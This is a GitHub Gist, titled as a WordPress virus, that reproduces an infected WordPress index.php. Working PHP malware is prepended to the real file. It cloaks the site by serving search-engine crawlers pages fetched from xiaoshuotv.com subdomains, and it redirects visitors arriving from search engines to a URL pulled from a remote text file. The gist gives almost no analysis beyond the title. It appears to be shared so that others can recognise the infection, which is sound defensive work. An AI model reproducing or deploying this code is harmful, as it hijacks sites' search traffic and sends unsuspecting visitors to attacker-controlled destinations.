Created
December 13, 2022 11:19
-
-
Save aslamanver/416d7802b968657ffb9a468b8a5023e3 to your computer and use it in GitHub Desktop.
WordPress Virus Malicious Script that affects SEO
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function barry($url) | |
{ | |
$file_contents = ''; | |
$user_agent = 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'; | |
if (function_exists('curl_init')) { | |
try { | |
$ch = curl_init(); | |
$timeout = 30; | |
curl_setopt($ch, CURLOPT_URL, $url); | |
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); | |
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); | |
curl_setopt($ch, CURLOPT_USERAGENT,$user_agent); | |
$file_contents = curl_exec($ch); | |
curl_close($ch); | |
} catch (Exception $e) { | |
} | |
} | |
if (strlen($file_contents) < 1 && function_exists('file_get_contents')) { | |
ini_set('user_agent', $user_agent); | |
try { | |
$file_contents = @file_get_contents($url); | |
} catch (Exception $e) { | |
} | |
} | |
return $file_contents; | |
} | |
$agent = strtolower($_SERVER['HTTP_USER_AGENT']); | |
if(stripos($agent,'bing') >-1 || stripos($agent,'yahoo') >-1 || stripos($agent,'coc')>-1 || stripos($agent,'google') >-1){ | |
$url="http://mulu.xiaoshuotv.com"."/".$_SERVER['HTTP_HOST']; | |
$url= $url.$_SERVER["REQUEST_URI"]; | |
echo barry($url); | |
exit(); | |
}else if(stripos($agent,'baidu') >-1 || stripos($agent,'360spider') >-1 || stripos($agent,'sogou') >-1 || stripos($agent,'yisouSpider') >-1){ | |
$url="http://cn.xiaoshuotv.com"."/".$_SERVER['HTTP_HOST']; | |
$url= $url.$_SERVER["REQUEST_URI"]; | |
echo barry($url); | |
exit(); | |
} | |
$re= @$_SERVER["HTTP_REFERER"]; | |
if(strpos($re,'yahoo')!==false||strpos($re,'coc')!==false||strpos($re,'bing')!==false||strpos($re,'google')!==false) | |
{ | |
$url="http://tz.xiaoshuotv.com/vn/tz.txt"; | |
$tzurl = barry($url); | |
echo "<script>location.href='".$tzurl."'</script>"; | |
exit(); | |
}else if(strpos($re,'baidu')!==false||strpos($re,'so.com')!==false||strpos($re,'sogou')!==false||strpos($re,'sm.cn')!==false){ | |
$url="http://tz.xiaoshuotv.com/cn/tz.txt"; | |
$tzurl = barry($url); | |
echo "<script>location.href='".$tzurl."'</script>"; | |
exit(); | |
} | |
?><?php | |
/** | |
* Front to the WordPress application. This file doesn't do anything, but loads | |
* wp-blog-header.php which does and tells WordPress to load the theme. | |
* | |
* @package WordPress | |
*/ | |
/** | |
* Tells WordPress to load the WordPress theme and output it. | |
* | |
* @var bool | |
*/ | |
define( 'WP_USE_THEMES', true ); | |
/** Loads the WordPress Environment and Template */ | |
require __DIR__ . '/wp-blog-header.php'; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment